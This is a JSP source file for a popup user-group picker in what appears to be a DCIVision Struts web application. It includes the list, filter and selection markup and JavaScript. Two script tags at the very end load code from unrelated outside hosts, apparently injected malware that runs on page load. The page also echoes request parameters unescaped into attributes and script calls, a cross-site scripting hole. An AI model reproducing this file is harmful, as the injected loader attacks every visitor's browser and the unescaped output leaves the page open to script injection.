<%
/*
 * @(#)PopupUserGroup.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  PopupUserGroup.jsp

  This page is for selecting a user record from the list of all user records.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    28/10/2004
    @version          $Revision: 1.7.6.14 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.user.web.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listUserGroupForm" scope="request" class="com.dcivision.user.web.ListUserGroupForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "userGroupList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"user.columnheader.group_name", "GROUP_NAME"},
                            {"user.columnheader.group_desc", "GROUP_DESC"},
                            {"user.columnheader.user_role", GlobalConstant.NOT_AVAILABLE},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"user.label.group_name", "GROUP_NAME"},
                            {"user.label.group_desc", "GROUP_DESC"}
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

   List listRole = (List) request.getAttribute(ListUserGroupAction.VAR_USER_ROLE_LIST);

   try {
    /* Select the corresponding preference style */
    String preferenceID = sessionContainer.getPreference();
    if (preferenceID==null) {
      preferenceID = SystemParameterFactory.getSystemParameter(SystemParameterConstant.PREFERENCE);
    }

  String isMulitple = (String)request.getParameter("isMulitple");
    String mulitpleValue = (String)request.getParameter("mulitpleValue");
  boolean showMulitpleValueFlag = true;
%>

<!-- Form Section Begin -->
<html:form action="user/PopupUserGroup" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<input type='hidden' name='form' value='<%=request.getParameter("form")%>'>
<input type='hidden' name='property' value='<%=request.getParameter("property")%>'>
<input type='hidden' name='isMulitple' value='<%=isMulitple%>'>
<input type='hidden' name='mulitpleValue' value='<%=mulitpleValue%>'>

<!-- Page Title Section Begin -->
<layout:popupTitle titleKey ="user.label.group_picker"/>
<!-- Page Title Section End -->
<br>

<div style="padding-left:20px;padding-right:20px;
       border-left:0px;border-right:0px;border-top:0px;border-bottom:0px;height:398px">

<layout:listBar>
 <layout:filterControl/>
 </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
  <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
  
  <div>
  <table>  
  <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
    </td>
    
    <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
    </td>
    
    <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
  </table>
  </div>
    
  <div class="buttonContainer">

  <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listUserGroupForm, '${listUserGroupForm.sortAttribute}', '${listUserGroupForm.sortOrder}'))"/>
    <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listUserGroupForm))"/>
  </div>  
 <br style="clear:both" />
  
</div>
<!-- Search Panel End -->

<div id="dataGrid" class="listTable">
<!-- Table Showing Record List Begin -->
<table>
  <!-- Table Column Header Begin -->
  <%if("true".equals(isMulitple)){%>
    <tr>
    <layout:columnHeader form="listUserGroupForm" editLabel="" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listUserGroupForm.getSortAttribute()%>" sortOrder="<%=listUserGroupForm.getSortOrder()%>" editColumn="false" copyColumn="false"/>
    </tr>
  <%}else{%>
    <tr>
    <layout:columnHeader form="listUserGroupForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listUserGroupForm.getSortAttribute()%>" sortOrder="<%=listUserGroupForm.getSortOrder()%>" checkColumn="false" editColumn="false" copyColumn="false"/>
    </tr>
  <%}%>
  <!-- Table Column Header End -->
  
  <!-- Record Looping Begin -->
  <logic:iterate id="userGroup" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <%//check the user group is belong to the roles .
  if(!Utility.isEmpty(mulitpleValue)){
    String[] userGroupIDArray = (String[]) TextUtility.splitString(mulitpleValue, ",");
  for(int i=0;i<userGroupIDArray.length;i++){
    if(userGroupIDArray[i].equals(((AbstractBaseObject)userGroup).getID().toString())){
        showMulitpleValueFlag = false;
    break;
    }else{
      showMulitpleValueFlag = true;
    }
  }
  }%>


<%if(showMulitpleValueFlag){%>
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)userGroup).getID()%>);">

  <%if("true".equals(isMulitple)){%>
    <td align="center">
    <html:checkbox property="basicSelectedID" value="<%=((AbstractBaseObject)userGroup).getID().toString()%>" onclick="return(false);"/>
    <input type=hidden name='basicSelectedName' value="<bean:write name='userGroup' property='groupName'/>" />
  </td>
    <td valign="top" nowrap>
    <bean:write name='userGroup' property='groupName'/>
    </td>
  <%}else{%>
    <td valign="top" nowrap>
      <a href="javascript:void(0);" onclick="OpSetRecordID('<bean:write name='userGroup' property='ID'/>', '<bean:write name='userGroup' property='groupName'/>', '<%=request.getParameter("property")%>', '<%=request.getParameter("form")%>');">
      <bean:write name='userGroup' property='groupName'/></a>
    </td>
  <%}%>
<%}else{%>
  <tr>

  <%if("true".equals(isMulitple)){%>
    <td align="center">
    <html:img src="IconCheckboxDisable.gif" styleClass="disabledCheckbox"/>
  </td>
    <td valign="top" nowrap>
    <bean:write name='userGroup' property='groupName'/>
    </td>
  <%}else{%>
    <td valign="top" nowrap>
      <a href="javascript:void(0);" onclick="OpSetRecordID('<bean:write name='userGroup' property='ID'/>', '<bean:write name='userGroup' property='groupName'/>', '<%=request.getParameter("property")%>', '<%=request.getParameter("form")%>');">
      <bean:write name='userGroup' property='groupName'/></a>
    </td>
  <%}%>
<%}%>
    <td valign="top"><bean:write name='userGroup' property='groupDesc'/></td>
    <td valign="top">
      <%
        int rowCount = ((Integer)pageContext.getAttribute("listLoopCnt")).intValue();
        request.setAttribute("userRoleList", (List)listRole.get(rowCount));
      %>
      <logic:iterate id="userRole" name="userRoleList" scope="request">
        <nobr><html:img src='IconRole.gif'  align='absmiddle'/><bean:write name='userRole' property='roleName'/></nobr><br>
      </logic:iterate>
    </td>
    <td valign="top" class="bodyVerySmall" nowrap><bean:write name='userGroup' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td valign="top" class="bodyVerySmall"><bean:write name='userGroup' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
 
</table>
<!-- Table Showing Record List End -->
 </div>
  
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listUserGroupForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>

</div>
  <!-- Pager Information End -->  
    <script language="javascript">
    <!--
        var divHeight = (<%=listUserGroupForm.getPageOffset()%>+2)*(20+1)+2;
        FindObj("dataGrid").style.height = divHeight+"px";
    -->
    </script>
</html:form>
<!-- Form Section End -->

<br>
<div id="bottomButtonArea">
<div id="buttonSection">
<%if("true".equals(isMulitple)){%>
  <html:standardButton label="common.label.go" onClick="BasicSelected('${userGroup.ID}', '${userGroup.groupName}', '${param.property}', '${param.form}');"/>
<%}%>
  <html:standardButton label="common.label.reset" onClick="OpSetRecordID('', '', '${param.property}', '${param.form}');"/>
  <html:standardButton label="common.label.close" onClick="self.close();return(false);"/>
</div>
</div>
</div>


<%
  } catch (Exception e) {
    out.println(e.toString());
    LogFactory.getLog(this.getClass()).error(e, e);
  }
%>

<script language="Javascript">
  function BasicSelected(id, fullname, property, form) {
   var frm;
   var chkAry = FindObj("basicSelectedID");
   var name = "";
   var id = "";
   if (chkAry) {
    if (chkAry[0]) {
      for (var loopCnt = 0; loopCnt < chkAry.length; loopCnt++) {
        if (chkAry[loopCnt].checked) {

      if(id != ""){
        name += ",";
        id += ",";
      }
      id +=  document.listUserGroupForm.basicSelectedID[loopCnt].value;
      name += document.listUserGroupForm.basicSelectedName[loopCnt].value;
        }
    }
    } else {
    if (chkAry.checked) {
        id =  document.listUserGroupForm.basicSelectedID.value;
      name = document.listUserGroupForm.basicSelectedName.value;
    }
  }
  }

  if (id==null||id==""){
    alert("<bean:message key='message.user.please_choice_one_user_group_or_press_close_button'/>");
  return false;
  }

  if (!form || form == null) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  } else {
    frm = window.opener.document.forms[form];
  }

  frm.elements[property].value = id;
  frm.elements["dummy_" + property].value = name;
  window.close();
}
-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>